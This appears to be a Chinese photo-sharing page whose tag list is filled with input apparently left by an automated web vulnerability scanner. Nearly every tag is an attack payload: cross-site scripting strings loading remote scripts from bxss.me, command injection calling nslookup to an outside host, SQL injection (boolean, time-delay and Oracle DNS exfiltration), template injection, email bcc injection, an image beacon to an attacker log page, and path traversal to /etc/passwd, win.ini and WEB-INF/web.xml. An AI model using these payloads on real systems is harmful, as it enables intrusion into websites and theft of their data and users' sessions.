×
照片标签：
- 1
- response.write(9145945*9521240)
- '+response.write(9145945*9521240)+'
- "+response.write(9145945*9521240)+"
- response.write(9824727*9330969)
- '+response.write(9824727*9330969)+'
- "+response.write(9824727*9330969)+"
- 1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source)
- s.src=(/
- /+/bxss.me\/s?u=014892&r=7-49649&h=7-e7a59-2&/).slice(2)
- document.documentElement.appendChild(s))//'>
- set|set&set
- $(nslookup dns.ce.\014892.7-49653.7.e7a59.\1.bxss.me)
- &nslookup dns.ce.\014892.7-49654.7.e7a59.\1.bxss.me&'\"`0&nslookup dns.ce.\014892.7-49654.7.e7a59.\1.bxss.me&`'
- $(nslookup dns.ce.\014892.7-49656.7.e7a59.\1.bxss.me)
- &nslookup dns.ce.\014892.7-49658.7.e7a59.\1.bxss.me&'\"`0&nslookup dns.ce.\014892.7-49658.7.e7a59.\1.bxss.me&`'
- 1'>"><script src=http://bxss.me/s?u=014892&r=7-49650&h=7-e7a59-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss
- 014892
- 7-49650
- 7
- e7a59
- %22%5D"/>
- /+/bxss.me\/s?u=014892&r=7-49659&h=7-e7a59-2&/).slice(2)
- 1'>"><script src=http://bxss.me/s?u=014892&r=7-49661&h=7-e7a59-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss
- 7-49661
- wy4EjLQz
- kPRZLlMU
- 1 bcc:014892.7-49673.7.e7a59.1@bxss.me
- to@example.com> bcc:014892.7-49674.7.e7a59.1@bxss.me
- 1 bcc:014892.7-49675.7.e7a59.1@bxss.me
- to@example.com> bcc:014892.7-49676.7.e7a59.1@bxss.me
- ${9999059+9999051}
- OYl9s2O5
- -1 OR 2+760-760-1=0+0+0+1 --
- -1 OR 2+726-726-1=0+0+0+1
- ${10000163+9999065}
- -1' OR 2+553-553-1=0+0+0+1 --
- -1' OR 2+854-854-1=0+0+0+1 or 'fD6NrXKC'='
- -1" OR 2+910-910-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(3)
- 0)/*'XOR(if(now()=sysdate()
- 0))OR'"XOR(if(now()=sysdate()
- 0))OR"*/
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:3' --
- kwxqgCri'
- -1))
- YBmsHlpt'
- kx1VgyNt')
- vlepdKve'))
- '||(select 1 from (select pg_sleep(9))x)||'
- ''||(select 1 from (select pg_sleep(9))x)||''
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-49683.7.e7a59.1.bxss'||'.me')
- 1some_inexistent_file_with_long_name .jpg
- '||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-49684.7.e7a59.1.bxss'||'.me')||'
- Http://testasp.vulnweb.com/t/fit.txt
- http://testasp.vulnweb.com/t/fit.txt?.jpg
- 1'
- testasp.vulnweb.com
- 713'
- lFTFzA7v
- -1 OR 2+406-406-1=0+0+0+1 --
- -1 OR 2+559-559-1=0+0+0+1
- -1' OR 2+435-435-1=0+0+0+1 --
- -1' OR 2+722-722-1=0+0+0+1 or '3RQuMHTE'='
- -1" OR 2+632-632-1=0+0+0+1 --
- sleep(12)
- (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
- 1 waitfor delay '0:0:4' --
- OT92Y8Mf'
- m3WEShGB'
- 36lCKYCi')
- 1&n970655=v989977
- ZSJ5xbrR'))
- '||(select 1 from (select pg_sleep(8))x)||'
- ''||(select 1 from (select pg_sleep(8))x)||''
- 1||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-49687.7.e7a59.1.bxss'||'.me')
- '||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-49688.7.e7a59.1.bxss'||'.me')||'
- 376'
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- '"()
- '
- "
- ${@print(md5(acunetix_wvs_security_test))}
- ${@print(md5(acunetix_wvs_security_test))}\
- http://testasp.vulnweb.com/t/xss.html?%00.jpg
- bibs
- bibs/.
- 1'"
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /www.vulnweb.com
- \
- @@mzWro
- JyI=
- http://hitGxSsVyUYz2.bxss.me/
- http://hitjfhiAOmsCt.bxss.me/
- 1'"()&%<acx><ScRiPt >hfIx(9946)</ScRiPt>
- '"()&%<acx><ScRiPt >hfIx(9243)</ScRiPt>
- 19657006
- acu2249＜s1﹥s2ʺs3ʹuca2249
- '"
- {{9999806*10000026}}
- <!--
- acu8600＜s1﹥s2ʺs3ʹuca8600
- {{9999533*9999502}}
- acu1455＜s1﹥s2ʺs3ʹuca1455
- {{9999470*9999203}}
- 1"onmouseover=hfIx(9138)"
- 1" 89i1=hfIx([!+!]) GtD="
- 1\u0022onmouseover=hfIx(9760)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%68%66%49%78%28%39%39%38%39%29%22
- 1"sTYLe='acu:Expre/**/SSion(hfIx(9608))'bad="
- 1"><script>hfIx(9130)</script>
- 1"onmouseover=hfIx(9169)"
- 1" FcuL=hfIx([!+!]) Rip="
- 1\u0022onmouseover=hfIx(9392)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%68%66%49%78%28%39%35%32%38%29%22
- 1"sTYLe='acu:Expre/**/SSion(hfIx(9019))'bad="
- 1"><script>hfIx(9852)</script>
- 1<ScRiPt >hfIx(9187)</ScRiPt>
- 1<WYNB1Q>YKYNF[!+!]</WYNB1Q>
- 1<script>hfIx(9590)</script>
- 1<ScR<ScRiPt>IpT>hfIx(9944)</sCr<ScRiPt>IpT>
- 1<ScRiPt >hfIx(9123)</ScRiPt>
- 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9784></ScRiPt>
- 1< ScRiPt >hfIx(9338)</ScRiPt>
- 1<video><source onerror="javascript:hfIx(9551)">
- 1<isindex type=image src=1 onerror=hfIx(9276)>
- 1<iframe src='data:text/html
- 1<body onload=hfIx(9858)>
- 1<img src=//testasp.vulnweb.com/t/dot.gif onload=hfIx(9836)>
- 1<img src=xyz OnErRor=hfIx(9673)>
- 1<img/src=">" onerror=alert(9181)>
- %31%3C%53%63%52%69%50%74%20%3E%68%66%49%78%289220%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\hfIx(9547)\u003C/sCripT\u003E
- 1<
- 1<input autofocus onfocus=hfIx(9096)>
- <a HrEF=http://www.vulnweb.com></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://www.vulnweb.com][/url]
- 1<img<!-- --> src=x onerror=alert(9496)
- 1}body{acu:Expre/**/SSion(hfIx(9191))}
- 1<% contenteditable onresize=hfIx(9200)>
- 1cQ19m <ScRiPt >hfIx(9013)</ScRiPt>
- 1<WZSJ38>UYYOR[!+!]</WZSJ38>
- 1<ifRAme sRc=9669.com></IfRamE>
- 1<SnqJ7s x=9441>
- 1<img sRc='http://attacker-9620/log.php?
- 1<XWUfkt<
- 1'"()&%<acx><ScRiPt >hfIx(9084)</ScRiPt>
- '"()&%<acx><ScRiPt >hfIx(9112)</ScRiPt>
- 19190756
- acu7030＜s1﹥s2ʺs3ʹuca7030
- {{9999433*10000088}}
- acu1565＜s1﹥s2ʺs3ʹuca1565
- {{9999662*9999897}}
- acu8851＜s1﹥s2ʺs3ʹuca8851
- {{10000085*10000426}}
- 1"onmouseover=hfIx(9680)"
- @@cfsk9
- 1" Zydy=hfIx([!+!]) 88n="
- 1\u0022onmouseover=hfIx(9926)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%68%66%49%78%28%39%39%33%31%29%22
- 1"sTYLe='acu:Expre/**/SSion(hfIx(9462))'bad="
- 1"><script>hfIx(9424)</script>
- 1"onmouseover=hfIx(9919)"
- 1" gf7F=hfIx([!+!]) rzt="
- 1\u0022onmouseover=hfIx(9283)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%68%66%49%78%28%39%35%31%37%29%22
- 1"sTYLe='acu:Expre/**/SSion(hfIx(9241))'bad="
- 1"><script>hfIx(9889)</script>
- 1<ScRiPt >hfIx(9672)</ScRiPt>
- 1<WJBMMQ>H9POM[!+!]</WJBMMQ>
- 1<script>hfIx(9809)</script>
- 1<ScR<ScRiPt>IpT>hfIx(9895)</sCr<ScRiPt>IpT>
- 1<ScRiPt >hfIx(9723)</ScRiPt>
- 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9474></ScRiPt>
- 1< ScRiPt >hfIx(9812)</ScRiPt>
- 1<video><source onerror="javascript:hfIx(9369)">
- 1<isindex type=image src=1 onerror=hfIx(9686)>
- 1<body onload=hfIx(9624)>
- 1<img src=//testasp.vulnweb.com/t/dot.gif onload=hfIx(9105)>
- 1<img src=xyz OnErRor=hfIx(9832)>
- 1<img/src=">" onerror=alert(9837)>
- %31%3C%53%63%52%69%50%74%20%3E%68%66%49%78%289872%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\hfIx(9577)\u003C/sCripT\u003E
- 1<input autofocus onfocus=hfIx(9375)>
- 1<img<!-- --> src=x onerror=alert(9650)
- 1}body{acu:Expre/**/SSion(hfIx(9370))}
- 1<% contenteditable onresize=hfIx(9295)>
- 1BrDsC <ScRiPt >hfIx(9848)</ScRiPt>
- 1<WDTFF8>SOQ5L[!+!]</WDTFF8>
- 1<ifRAme sRc=9510.com></IfRamE>
- 1<xi2qFz x=9942>
- 1<img sRc='http://attacker-9270/log.php?
- 1<CbhaFr<
- ../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- ../../../../../../../../../../etc/passwd .jpg
- /../..//../..//../..//../..//../..//etc/passwd .jpg
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- /etc/passwd
- %2fetc%2fpasswd
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- WEB-INF/web.xml
- /WEB-INF/web.xml
- WEB-INF\web.xml
- ../../../../../../../../../../windows/win.ini
- C:\WINDOWS\system32\drivers\etc\hosts
- ../../../../../../../../../../windows/win.ini .jpg
- ................windowswin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
微信扫一扫, 保存到手机
